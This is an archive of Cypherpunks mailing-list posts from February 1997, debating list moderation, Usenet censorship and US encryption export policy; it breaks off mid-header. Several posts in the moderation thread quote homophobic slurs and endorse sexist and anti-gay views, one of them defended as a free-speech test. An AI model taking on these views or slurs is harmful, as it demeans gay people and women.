-----BEGIN PGP SIGNED MESSAGE----- Toto reminds me while I've killfiled him: > So, basically, you're saying that the flight from censorship should > be toward a new CypherPunk 'home' where one is effectively censored > automatically unless one kisses the ass of a Cabal? Yup. You're begging resources, deal with it. We didn't kiss John Gillmore's ass, and he decided that he was tired of the shit and stopped letting us squat on his land. If we were paying him for the use of toad, he maybe wouldn't have the right to yank it so suddenly, but we weren't, so it's his call. Same with usenet. The "cabal" has high reputation capital. News admins the world over trust them. One might say that they deserve the respect they get, but that is immaterial to the discussion. the fact is that people who donate resources to usenet trust the cabal. Unless you have a contractual relationship, you're begging, and you have to convince your benefactors to give you stuff. If you have a different model for a world economy, feel free to post it. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole PS. Of course, the cabal didn't rmgroup alt.cypherpunks, thus showing that they do have some good sence yet. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwSyzMkz/YzIV3P5AQHgbgMApfVYTtanDNpL1A96oqMa0wk99GC6jfk9 p7V2KUBn2rl3rOJlBsYpgPWJRYxcMeich8tulf0NcUkh5ru7YdsACD7GYa7B7bz2 Kj6VnQibFnCKb2BTkQfkqYCpdKIUhvLL =dkhj -----END PGP SIGNATURE----- From omega at bigeasy.com Fri Feb 14 15:41:36 1997 From: omega at bigeasy.com (Omegaman) Date: Fri, 14 Feb 1997 15:41:36 -0800 (PST) Subject: Congressional subcommittee hearings on computer security Message-ID: <199702142341.PAA17409@toad.com> Computer crimes rife, unreported By Reuters February 13, 1997, 9:45 a.m. PT WASHINGTON--Security experts say hackers are finding it easier to break into computer networks and steal money, partly because companies are reluctant to admit that they are vulnerable. "If I want to steal money, a computer is a much better tool than a handgun," Daniel Geer, director of engineering for Open Market, told a House of Representatives technology subcommittee hearing on computer security. " Has anyone been following this debate more closely? Nothing in any of the articles I've seen on this story have mentioned the role of strong encryption. Why can't banks better protect themselves? Why can't banks better authenticate electronic transactions to prevent theft & break-ins? Why is the such a dearth of protective measures available to the institutions? The public has a right to know! Seriously, though, has anyone been following these hearings in more detail? me --------------------------------------------------------------------- Omegaman |"When they kick out your front door, PGP Key fingerprint = | How are you gonna come? 6D 31 C3 00 77 8C D1 C2 | With your hands upon your head, 59 0A 01 E3 AF 81 94 63 | Or on the trigger of your gun?" Send email with "get key" as the| -- The Clash, "Guns of Brixton" "Subject:"to get my public key | _London_Calling_ , 1980 --------------------------------------------------------------------- From vznuri at netcom.com Fri Feb 14 15:41:51 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Fri, 14 Feb 1997 15:41:51 -0800 (PST) Subject: Keep it Simple and the Cypherpunk Way Message-ID: <199702142341.PAA17418@toad.com> what TCM continues to stick his head in the sand over is the fact that the list noise levels have gotten outlandishly out of control over recent times, far beyond anything in memory. what is it due to? it appears that there is a basic law of cyberspace that S/N decreases as you add more people. it seems to be a very obvious and repeatable property. there are some significant lessons about cryptoanarchy that are completely evading TCM. how well does anarchy scale? apparently, not well. TCM would like to pretend that just deleting posts and having outsider filterers is a "solution" to the problem and argues for business as usual, upholding the status quo. the problem is that when you have a deteriorating situation, the status quo is not a valid concept. keeping the status quo means further deterioration. TCM also fails to address the problem of AGENT PROVOCATEURS. the cyberspace list is intensely fragile and susceptible/ vulnerable to them as Vulis demonstrates. it only takes ONE and a lot of tentacles. does TCM propose a solution to this? no, of course not, because he has a blind spot when it comes to realizing the PATENTLY OBVIOUS FLAWS OF CRYPTOANARCHY that stare him in the face. if cpunks had a formal way of making decisions, and some loyalty to each other, instead of BAILING OUT at the slightest difficulty, perhaps the situation would be different, eh? see how quickly people who were once friends simply WALK OUT on each other in the cryptoanarchist approach? where is the loyalty? the sense of working for the greater good? it's gone. TCM simply ABANDONS the list at the first opportunity, and ignores the years of hard work that J.G. has put into it. timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing the logical conclusion of your views playing out before you. acrimony, bitterness, resignation, chaos, confusion, cacaphony, anarchy. From cynthb at sonetis.com Fri Feb 14 15:42:13 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Fri, 14 Feb 1997 15:42:13 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702142342.PAA17455@toad.com> On Fri, 14 Feb 1997 paul at fatmans.demon.co.uk wrote: > Here I can agree, I personally discriminate on the basis of sex, not > in that I believe women inferior to men but rather that I believe > each sex better suited to different tasks and vocations. > That is not, however, to say that I believe women should be prevented > from taking up lines of work that men traditionally hold. > They are free to do so, but as in the example you give later > I would feel uncomfortable having my car serviced by a woman. Normally I would ignore this sort of comment (which probably belongs in some soc. newsgroup), but I feel obliged to point out that: - The female , in addition to passing the same exams as her male classmates, has probably had to put up with a fair load of B.S. questioning her right and ability to be there. The ones that keep at it long enough to graduate are the ones that *really* want to do whatever it is, and IMHO are more likely to try harder. - If she has been in business for a while, this means she has attracted and kept customers in spite of the attitude displayed in previous posts. There are no "quotas" in the marketplace. - I wonder whether the garage owners have any preference. In my military experience (Signals officer), the (older male) sergeants and chiefs, when given a choice, preferred female radar / radio technicians to male because, in general, they were harder working, had thicker skins, and were more pleasant to deal with. Chicken and Egg: How much of "each sex [is] better suited to different tasks" is due to little girls being pulled away from the Lego and toy trucks, and encouraged to play with Barbies? Being told that they are *pretty* not *smart* as a form of approval? Cynthia =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From dave at kachina.jetcafe.org Fri Feb 14 15:42:14 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Fri, 14 Feb 1997 15:42:14 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702142342.PAA17460@toad.com> Against Moderation writes: > If you want to fight censorship effectively, going around telling > people "You're a shit-eating faggot you fucking cock-sucking homo > censor" in public forums is not going to win you many points. On the contrary. John Grubor is Usenet's most effective probe as to the mindset of people who really want free speech. The precise litmus test of free speech is vehemently offensive things that are spoken. > Instead, it will quickly land you in many people's killfiles, and will > eventually lead some people with bad client software to wonder if it > wouldn't be worth giving up some freedom of speech for the benefit of > not having to see your rants any more. Then they don't want free speech. They want the illusion of free speech, "free speech as long as you don't say THOSE things". > Unfortunately, it sort of makes life harder for those who actually > fight the censorship when you pretend to be one of them. Your > argument seems to run something like, "To protect freedom of speech, > bad all faggots from the net, and especially don't let them run any > mailing lists." If this offensive and highly noticeable argument > eclipses many of the important, fundamental ones as the censors would > like it too (why do you think your articles make it to cypherpunks- > flames while mine only get as far as -unedited), you will end up not > only inducing censorship but also seriously hampering the efforts of > those who are legitimately fighting that censorship. Don't you get it? Real censorship issues do not arise until someone rocks the boat. It takes someone to rock the boat to make you aware of your own prejudices of that nature. If it takes attacking homosexuals and pissing them off enough to make them show their true colors and begin censorship...so be it. Why be civil when that civility serves to hide that which is ultimately against free speech? You'll find those of us who -truly- want free speech are extremely good at ignoring what we don't like. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet Don't teach the blind until you have practiced living with closed eyes From jya at pipeline.com Fri Feb 14 15:42:22 1997 From: jya at pipeline.com (John Young) Date: Fri, 14 Feb 1997 15:42:22 -0800 (PST) Subject: Industry Blasts U.S. Encryption Policy Message-ID: <199702142342.PAA17472@toad.com> 2-14-97. National Business Review, NZ (http://www.nbr.co.nz/): USA: Industry Groups Blast U.S. Encryption Policy. Washington, Feb 13 (Reuter) - An array of private-sector trade groups charged Thursday the Clinton administration's new export policy on computer encoding technology was a failure. Encryption products, which scramble information and render it unreadable without a password or software "key," are subject to strict export limits, although the administration recently relaxed the rules a bit. The new policy "does not adequately address the needs of either the American business community or the general public," the 13 groups said in a letter to Clinton dated Wednesday and released Thursday. Among the groups signing the letter were the U.S. Chamber of Commerce, the National Association of Manufacturers and the National Retail Federation, along with a host of high-tech industry groups such as the Business Software Alliance and the Information Technology Association of America. The Centre for Democracy and Technology, an advocacy group for civil liberties in cyberspace, and the Association of Research Libraries also signed the letter. An administration spokeswoman said that, despite the complaints, the current policy would be maintained. "The administration is moving ahead with our encryption export liberalisation policy," spokeswoman Heidi Kukis said. The policy balances diverse interests by "allowing us to develop exports while protecting our national security," she said. The administration has repeatedly said it opposes allowing unfettered powerful encryption programmes out of the country where they could be used by international criminals and terrorists. Under current policy, U.S. companies cannot export products containing so-called strong encryption, used to protect everything from a business' electronic mail to a consumer's credit card number sent over the Internet, unless the products also allow the government to crack the code by recovering the software keys. Companies can get a license to export medium-strength encryption lacking so-called key recovery features if the companies agree to incorporate key recovery in future products within two years. The Commerce Department has issued three licenses so far under the two-year provision. Digital Equipment Corp., Trusted Information Systems Inc., and Cylink Corp. won approval by promising to offer key recovery products by 1999. International Business Machines Corp. and Hewlett Packard Co. have said they are also seeking licenses. But companies and privacy advocates rejected the administration's key recovery-based approach. "It fails to accommodate the competitiveness concerns of sellers of encryption products, the security concerns of the buyers of such products, or important privacy rights," the groups said in their letter. "We believe a fundamental rethinking of this policy is necessary," they added. "We remain interested in working with you to achieve a constructive solution to this very difficult problem." Congress is already considering proposals to dramatically relax the export restrictions without requiring key recovery. ----- From paul at fatmans.demon.co.uk Fri Feb 14 15:42:45 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 15:42:45 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702142342.PAA17480@toad.com> > Again, MY definition of a "bigot" is the correct one which is > most understood by modern people. > > A "bigot" is a racist, period. I would have to differ with you there Dr. Grubor, although I think the term Bigot being applied critically to your opinions is inappropriate. > > I see nothing that limits bigotry to racial intolerance. > > > > You are a fool then. Religion and sexism and groups all have nothing > to do with bigotry. A bigot is a racist, period. That is TODAY'S > correct definition of the term, and I am a lot more current than > Webster. Any anybody who has a "religion" and "prays" is a fool. > The only god you will ever find is within yourself. I do not begin to believe this is correct. I happen to believe that sexism, not in the sense of believing women inferior but in the sense of believing homosexuals inferior can be, in some instances, a form of bigotry but it is merely a matter of semantics and not of interest. I wholeheartedly agree with the last point, anybody who believes in any form of deity or higher being (call it god if you like) is, IMHO, a fool. However, this has proven in history to be contradicted on a number of occasions, for example, Albert Einstein was a Jew but did not just accept without enquiry, rather, his religious views were subtle and well thought through. This is, of course, the exception not the rule, and 99.9999% of all religious people are fools. > > > It is very logical and wise to discriminate on the basis of sex. Here I can agree, I personally discriminate on the basis of sex, not in that I believe women inferior to men but rather that I believe each sex better suited to different tasks and vocations. That is not, however, to say that I believe women should be prevented from taking up lines of work that men traditionally hold. They are free to do so, but as in the example you give later I would feel uncomfortable having my car serviced by a woman. > > Most would disagree, and decide based on that and other statements you > > have made that you must be an extremely unpleasant person. > > > > See, there you go again, attacking the person, instead of the > argument. You lose points for that. Sexism is GOOD and right and > justified. I want a woman cutting my hair, and a man fixing my car, > and I demand the correct sex for ALL activities. Exactly, the poster has failed to recognise that you have every right to discrimate as you do and are justified in doing so. They are probably either homosexual and feel threatened or they are censorous and feel they must protect people from being "defamed" etc... > > If you want to fight censorship effectively, going around telling > > people "You're a shit-eating faggot you fucking cock-sucking homo > > censor" in public forums is not going to win you many points. > > Look sonny, I am not out to win any points. I have two Doctorates and > 22 years of experience. I speak with authority and only to those who > have the intelligence to understand. I was a perfect 4.00 in > College, and am probably the most intelligent body-politic analyst in > the world. Now let's face it: Faggots are BAD news. They are most > always censors! And that is the truth you can never get around. I agree, I have no prejudice against homosexuals. Rather I have formulated a low opinion of them as a group due to their censorous behaviour. I think it is because they feel threatened by straight people. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From vin at shore.net Fri Feb 14 15:43:01 1997 From: vin at shore.net (Vin McLellan) Date: Fri, 14 Feb 1997 15:43:01 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702142343.PAA17502@toad.com> It's always interesting to see how another person, particularly a writer, filters and reshapes an experience you shared with them . Differences in the telling are inevitable -- but I perceived the recent experience of the C'punks List quite differently than what Declan described and implied in his column. My understanding of Sandy's effort, for instance, was that he was to filter out the sludge of spam and contentless name-calling with which some idiots were flooding the list. My impression was that he was passing along any posts with content (ideas, pro or con, on almost anything) but filtering out the empty obscene name-calling and slurs (many of which seemed anon or forged, with varied and misleading titles, to duck my kill-file filters.) I, for one, was appreciative. I don't mind flames (and I expected to still be able to recieve them, from whatever POV -- and it seemed that I did!) but I also want a little meat somewhere amid the smoke. Who did the filtering (at the minimal level I expected) was almost irrelevant. If the filtering was on content, I'd be unhappy -- but I was eager to see some effort to cut out the empty hate messages. I even suggested to Dale, off-list, that he take it on for awhile. To me, the issue was whether this community could develop some mechanism to defend itself against a willful and intentional effort to destroy it. I think we failed to do so, despite the creative search for alternative venues -- and I think the triumphant cackling I read on what's left of the List is quite out of place. It may be that ideological purists were able to develop dynamic local filters on their PCs which satisfied them, but my filters just could't do enough. It was clear that the fecal-buckshot attacks on the List were designed to evade them. I'm still here, but it was more than a minor annoyance. (A year ago, I knew maybe five friends and acquaintances who subscribed to C'punks, but they all ran out of patience with the unchecked flow of sludge and unsubscribed... months before John tried to introduce his moderation experiment.) If 700 dropped off right after the moderation experiment was announced -- which I somehow doubt -- I wonder how many were battered into unsubscribing in the six or eight months prior? And, of the fleeing 700, how many became bored with the obsession of some (exhaustively prolific) writers with the "Moderation & Me" -- and went off to find some discussion of cryptography, politics, and ideas elsewhere? (Gawd knows, on the then-Moderated List I never found any lack of overwrought attacks on Sandy or John. I even read them for a week or two;-) From this whole experience, I carry away something different than those who gleefully celebrate Gilmore's surrender. I think something unusual and valuable is being killed. I'm now convinced that virtually all mailing lists will soon be forced to either limit posts to authenticated subscribers or introduce some sort of moderation -- just to deal with the spam threat and the problem of concerned attacks by those who decide they hate or dislike or simply want to destroy that particular List community . By the logic of Tim and others, a clever and dedicated crusade against Cypherpunks by any minimally-organized group, bir or small -- your local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever! -- could have destroyed the List at any time in the past. I'm glad they never realized how vulnerable we were; I've enjoyed this Community greatly in its current manifestation. I also hate to think of how gleeful the sociopaths who mail-bombed us into the choice of submission or suicide must be today. I think it is a particularly henious crime to destroy a virtual community; something akin to book-burning, but maybe more like arson -- like burning village schools. There was a willful attempt to destroy C'punks, an attack of depth and volume which led many of us (even those who had ignored at least three earlier efforts to offer filtered subsets to the List) to welcome the Moderation Experiment. Unfortunately, the attempt at moderation just twisted our own energies against ourselves. We were, perhaps predictably, quite easy to manipulate. If I have any criticism of John et al, it is that our List-Owner (a statement of function, rather than property) never gave the List Community an overt option to vote for minimal moderation. A tactical error. That that allowed the anarchists, nihlists, and others pure of heart to focus their ire on toad.com and Sandy -- rather than on those of us who (when John finally acted) might have gladly re-subscribed to another version of the List in order to obtain minimal spam and slur filtration. So now we ourselves burn the village in order to save it. How American! Suerte, _Vin At 11:23 PM 2/13/97 -0800, you wrote: >Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST) >From: Declan McCullagh >To: fight-censorship at vorlon.mit.edu > >The Netly News Network >http://netlynews.com/ > >A List Goes Down In Flames >by Declan McCullagh (declan at well.com) >February 12, 1997 > From tcmay at got.net Fri Feb 14 15:43:02 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 14 Feb 1997 15:43:02 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702142343.PAA17507@toad.com> At 3:07 PM -0500 2/14/97, Vin McLellan wrote: > My understanding of Sandy's effort, for instance, was that he was to >filter out the sludge of spam and contentless name-calling with which some >idiots were flooding the list. My impression was that he was passing along >any posts with content (ideas, pro or con, on almost anything) but filtering >out the empty obscene name-calling and slurs (many of which seemed anon or >forged, with varied and misleading titles, to duck my kill-file filters.) Well, Vin, your understanding was flawed. Many thoughtful, "non-sludge" posts were filtered out. Some never made it to either the "main" list nor the "flames" list, as all posts were supposed to do. (John Gilmore acknowledged this in his message. Anyone subscribing to only the Flames list, as I was for a while, would see some posts not making it to the Main list (viewable via the archive sites) nor to the Flames list.) Even my very long and thoughtful (I think, and others have said as much) essay on why I had been off the list for several weeks was _almost_ censored by Sandy, by his own words. Because he disliked some turn of phrase I used in describing the ramblings of Toto, Dale Thorn, and Vulis, he said he almost killed the entire piece, ultimately letting it through as a "judgment call." This is what I call a "chilling effect." Never knowing whether one's essays will pass muster with the Chief Censor is not exactly a reason to spend a lot of time composing a long piece. And was my article the kind of "sludge of spam" and "countless name-calling" you thought the Moderation experiment was all about? And what of the four or five of my posts a week ago which never made it to either the Main list or the Flames list? The contained no "sludge of spam" nor "countless name-calling." What they dealt with was a claim (like this one) that some posts were not being passed on to either of the two lists, and that perhaps a conflict of interest was developing. Does this still match your "understanding of Sandy's effort"? By the way, I can forward to those who are interested these four or five posts which got "Meta-Censored." (Unless too many people request them...I'll promise to forward them to the first five people who request them...then some of you can repost them to the list and see if they make it through.) > By the logic of Tim and others, a clever and dedicated crusade >against Cypherpunks by any minimally-organized group, bir or small -- your >local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever! -- could have >destroyed the List at any time in the past. I'm glad they never realized >how vulnerable we were; I've enjoyed this Community greatly in its current >manifestation. The list was not destroyed when S. Boxx/Pablo Escobar/anon12054/Detweiler/vznuri was blasting us with dozens of messages a day screaming that "tentacles were eating his brain" and that Cypherpunks were out to destroy him. Believe me, for those who were there, that was a topic of much greater daily discussion than the insult-a-day stuff is today. (And yet, because journalists now frequent the CP list in greater numbers than 2-3 years ago, at least two journalists are sniffing around for a story on the current situation, where essentially none were very interested in the Detweiler episode a couple of years ago, which was good. I recall John Markoff asking me about it at Hackers, in 1993, but he didn't see it as an especially significant story. I agree with this.) > I also hate to think of how gleeful the sociopaths who mail-bombed >us into the choice of submission or suicide must be today. I think it is a >particularly henious crime to destroy a virtual community; something akin to >book-burning, but maybe more like arson -- like burning village schools. > > There was a willful attempt to destroy C'punks, an attack of depth and >volume which led many of us (even those who had ignored at least three >earlier efforts to offer filtered subsets to the List) to welcome the >Moderation Experiment. Unfortunately, the attempt at moderation just twisted >our own energies against ourselves. We were, perhaps predictably, quite >easy to manipulate. On this I agree with Vin. The "censorship" episodes were the predictable outcome of such attacks, and this "psy-ops" experiment is a victory by whoever it was who was attacking. Detweiler failed to get the list to start censorship and "limitations of anarchic freedoms," but the current attacker has succeeded. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From paul at fatmans.demon.co.uk Fri Feb 14 15:43:04 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Fri, 14 Feb 1997 15:43:04 -0800 (PST) Subject: Fuck UseNet Message-ID: <199702142343.PAA17508@toad.com> > So, basically, you're saying that the flight from censorship should > be toward a new CypherPunk 'home' where one is effectively censored > automatically unless one kisses the ass of a Cabal? Absolutely, It is really, as far as I see it anyway, just a stop-gap measure. The caballers haven`t got enough room to do their censorship on the 18000 or so big 7 groups so they decide to fuck up the alt. heirachy as well ;-) Hopefully Igor and co.`s network of Majordomo's should be fully operational soon (as I understand it two are up and a third is on it's way) then we can move back there. Might even get it finished before the 20th????? Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From declan at pathfinder.com Fri Feb 14 15:43:45 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Fri, 14 Feb 1997 15:43:45 -0800 (PST) Subject: Congress is at it again; renewed defenses of the CDA Message-ID: Sen. Coats has been ranting about the CDA again. I have more in the Afterword section of http://netlynews.com/ -- "As the Supreme Court prepares to hear oral arguments next month in the Communications Decency Act case, morality crusaders in Congress are launching a renewed defense of the law..." -Declan ------------------------- The Netly News Network Washington Correspondent http://netlynews.com/ From tcmay at got.net Fri Feb 14 15:43:53 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 14 Feb 1997 15:43:53 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702142343.PAA17540@toad.com> At 10:31 AM -0800 2/14/97, Martin Minow wrote: >What bothers me more than anything else about the "solutions" I've >seen proposed to the death of Cypherpunks is that they rely on >technology -- and reject human judgement -- to solve what is, in >reality, a social problem. (One can certainly make the same argument >about the V-chip, browser porn filters, and similar hacks.) Au contraire, Martin! Many of my posts have _explicitly_ pointed to the human filtering services offered by Eric Blossom, Ray Arachelian, and perhaps others. Arranging to have others edit or filter the information flow is a fine and dandy thing, and it's a very "anarchist" thing to do. The "anarchy" of the restaurant business, the book business, and so many other markets and sectors, where end-users are forced to look for filtering mechanisms (such as restaurant reviews, advice of their friends, advertisements, etc.) works pretty well. And, I believe, the Cypherpunks list was doing pretty well before the Moderation thing happened. The noise from the 'bots was no worse than the noise of 2-3 years ago from Detweiler. The claims that "the list has become unusable" were bogus, in my opinion. (Hence the claims that "you Cyherpunks only complain" are also bogus. I for one was not complaining and demanding that John and Sandy "do something" to "fix" the list. I accepted the nonsense spouted about me and John and others as just part of the chaos expected in any forum. I just filtered and deleted such nonsense.) It is true that some signal producers have either moved on to other things--in many cases to crypto-related companies directly or indirectly spawned by the Cypherpunks list and contacts!--or are not writing as many basic essays as they once did. Such is to be expected. People get tired of writing explanatory articles, and handling newbies. The key to improving signal is to increase the amount of signal, not to just suppress noise so as to make the S/N ratio look better. I can easily hit the "delete" key to remove noise, but I can't hit the "create" key to increase signal. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From adam at homeport.org Fri Feb 14 15:45:05 1997 From: adam at homeport.org (Adam Shostack) Date: Fri, 14 Feb 1997 15:45:05 -0800 (PST) Subject: Good Bye Cypherpunks! In-Reply-To: <199702141611.IAA09328@toad.com> Message-ID: <199702142338.SAA18913@homeport.org> Michael Froomkin - U.Miami School of Law wrote: | Just for the record. I will not post to USENET given the spamming that | seems to go to IDs that appear there. Your postings appear on the web, as part of the cypherpunks archives at infinity.nus.sg. http://infinity.nus.sg/cypherpunks/current/0089.html There seem to be robots that search the web; I've never even read usenet from this account, and I get spam. Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume From omega at bigeasy.com Fri Feb 14 15:55:49 1997 From: omega at bigeasy.com (Omegaman) Date: Fri, 14 Feb 1997 15:55:49 -0800 (PST) Subject: Message-ID: <199702142355.PAA17958@toad.com> > > > Is it legal or illegal to send a > > PGP encrypted message from the US to someone in another country? > > Yes. > > No it's not. Where do you get this? It would be illegal to send them a copy of the PGP program. But sending encrypted messages is not illegal. Please, cite your source --------------------------------------------------------------------- Omegaman |"When they kick out your front door, PGP Key fingerprint = | How are you gonna come? 6D 31 C3 00 77 8C D1 C2 | With your hands upon your head, 59 0A 01 E3 AF 81 94 63 | Or on the trigger of your gun?" Send email with "get key" as the| -- The Clash, "Guns of Brixton" "Subject:"to get my public key | _London_Calling_ , 1980 --------------------------------------------------------------------- From ichudov at algebra.com Fri Feb 14 15:55:59 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Fri, 14 Feb 1997 15:55:59 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702142355.PAA17966@toad.com> Dave Hayes wrote: > You'll find those of us who -truly- want free speech are extremely > good at ignoring what we don't like. Not all of you freedom-knights are good at it at all. I would go as far as to say that only you, Dave Hayes, are good at it. - Igor. From declan at pathfinder.com Fri Feb 14 15:56:08 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Fri, 14 Feb 1997 15:56:08 -0800 (PST) Subject: Congress is at it again; renewed defenses of the CDA Message-ID: <199702142356.PAA17978@toad.com> Sen. Coats has been ranting about the CDA again. I have more in the Afterword section of http://netlynews.com/ -- "As the Supreme Court prepares to hear oral arguments next month in the Communications Decency Act case, morality crusaders in Congress are launching a renewed defense of the law..." -Declan ------------------------- The Netly News Network Washington Correspondent http://netlynews.com/ From dave at kachina.jetcafe.org Fri Feb 14 15:56:22 1997 From: dave at kachina.jetcafe.org (Dave Hayes) Date: Fri, 14 Feb 1997 15:56:22 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702142356.PAA18027@toad.com> > Dave Hayes wrote: > > You'll find those of us who -truly- want free speech are extremely > > good at ignoring what we don't like. > Not all of you freedom-knights are good at it at all. The "us" I mentioned did not refer to the freedom knights, but "those of us who -truly- want free speech"...a slight english parsing problem. The freedom knights are a subset of those who want free speech. ------ Dave Hayes - Altadena CA, USA - dave at jetcafe.org Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet It is our ability to act as ourselves, freely and of our own choosing, that is the greatest gift to mankind; my Creator, the sole being in the universe who legitimately had power over me, gave me that power freely in order to enable me to become what I am. -- Russ Allbery From tnh at ACM.ORG Fri Feb 14 15:56:30 1997 From: tnh at ACM.ORG (Timothy N. Hill) Date: Fri, 14 Feb 1997 15:56:30 -0800 (PST) Subject: Feds OK 128-bit crypto amid protests Message-ID: <199702142356.PAA18044@toad.com> At 19:14 -0500 97-02-13, Bradley Dunn wrote: >See: >http://www.news.com/News/Item/0,4,7925,00.html >for details. Thanks for the pointer. Note that, unlike the previous three recipients of crypto export licenses, Open Market did not enable government access to keys. Instead they went through the "expensive ... exercise" of convincing "government officials that the product could not be used to encrypt anything but specific financial numbers." - Tim Timothy N. Hill "We all love to instruct, Wellesley, Massachusetts though we can teach only what is not worth knowing." PGP F058F75D 99C5122F 21C5BEF5 620C1D3C - Elizabeth Bennet From ichudov at algebra.com Fri Feb 14 15:56:33 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Fri, 14 Feb 1997 15:56:33 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702142356.PAA18063@toad.com> Dave Hayes wrote: > > Ok. I'll "put up". > > If the cypherpunks will have me, -I'll- run the cypherpunks > list. Those that know me know that I will *not* censor, moderate, or > otherwise alter the content (other than the stuff majordomo does with > "resend") of any messages to the list. I think that it is a great idea. If you want to contribute to the effort to keep the list, this is great. You could join the network of other cypherpunks mailing lists. There is a small list for discussing these networking issues, cypherpunks-hosts at algebra.com. It is not for crypto-discussions per se, but rather for discussing how we proceed with these lists. You can subscribe to it through majordomo at algebra.com. - Igor. From cynthb at sonetis.com Fri Feb 14 15:56:38 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Fri, 14 Feb 1997 15:56:38 -0800 (PST) Subject: Cypherpunks afraid of spam? Message-ID: <199702142356.PAA18071@toad.com> On Fri, 14 Feb 1997 aaron at herringn.com wrote: > I put a spam-busted address in my .sig and give root at 127.0.0.1 as my email > in the from: header. Sure, somebody out there is going to be unhappy with > me, but if they have a clue they'll figure it out. Meantime, the SpamBots > are bouncing mail to the admin of the site instead of to me. That's *much* better than the mundane c.y.n.t.h.b at i.o.s.p.h.e.r.e.dot.n.e.t =============================================================== Cynthia H. Brown, P.Eng. E-mail: cynthb at iosphere.net | PGP Key: See Home Page Home Page: http://www.iosphere.net/~cynthb/ Junk mail will be ignored in the order in which it is received. Klein bottle for rent; enquire within. From vin at shore.net Fri Feb 14 15:56:39 1997 From: vin at shore.net (Vin McLellan) Date: Fri, 14 Feb 1997 15:56:39 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702142356.PAA18072@toad.com> Tim May asked: >And was my article the kind of "sludge of spam" and "contentless >name-calling" you thought the Moderation experiment was all about? No. It definitely was not. >And what of the four or five of my posts a week ago which never made it to >either the Main list or the Flames list? The contained no "sludge of spam" >nor "contentless name-calling." What they dealt with was a claim (like this >one) that some posts were not being passed on to either of the two lists, >and that perhaps a conflict of interest was developing. > >Does this still match your "understanding of Sandy's effort"? Sadly, no. _Vin From kent at songbird.com Fri Feb 14 15:56:43 1997 From: kent at songbird.com (Kent Crispin) Date: Fri, 14 Feb 1997 15:56:43 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) Message-ID: <199702142356.PAA18073@toad.com> Jim Choate allegedly said: > > > Forwarded message: > > > Date: Thu, 13 Feb 1997 02:08:21 -0800 > > From: Greg Broiles > > Subject: Private property & the cypherpunks list(s) > [...] > > What I really find interesting is that in the 3 years SSZ has been up and > the 8 mailing lists (with about 300 subscribers total) nobody has ever > complained about the public domain policy and nobody has ever put a > copyright header on their messages. All these lists are technical and > several of them are directly involved with technical development of > projects, some for commercial apps. > > > Jim Choate > CyberTects > ravage at ssz.com > > Jim, if I put "Copyright (c) 1997 by Kent Crispin. All Rights Reserved." in my .sig, would that constitute a "fair-use header"? In general, I rather like your policy. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From nobody at squirrel.owl.de Fri Feb 14 15:56:46 1997 From: nobody at squirrel.owl.de (Secret 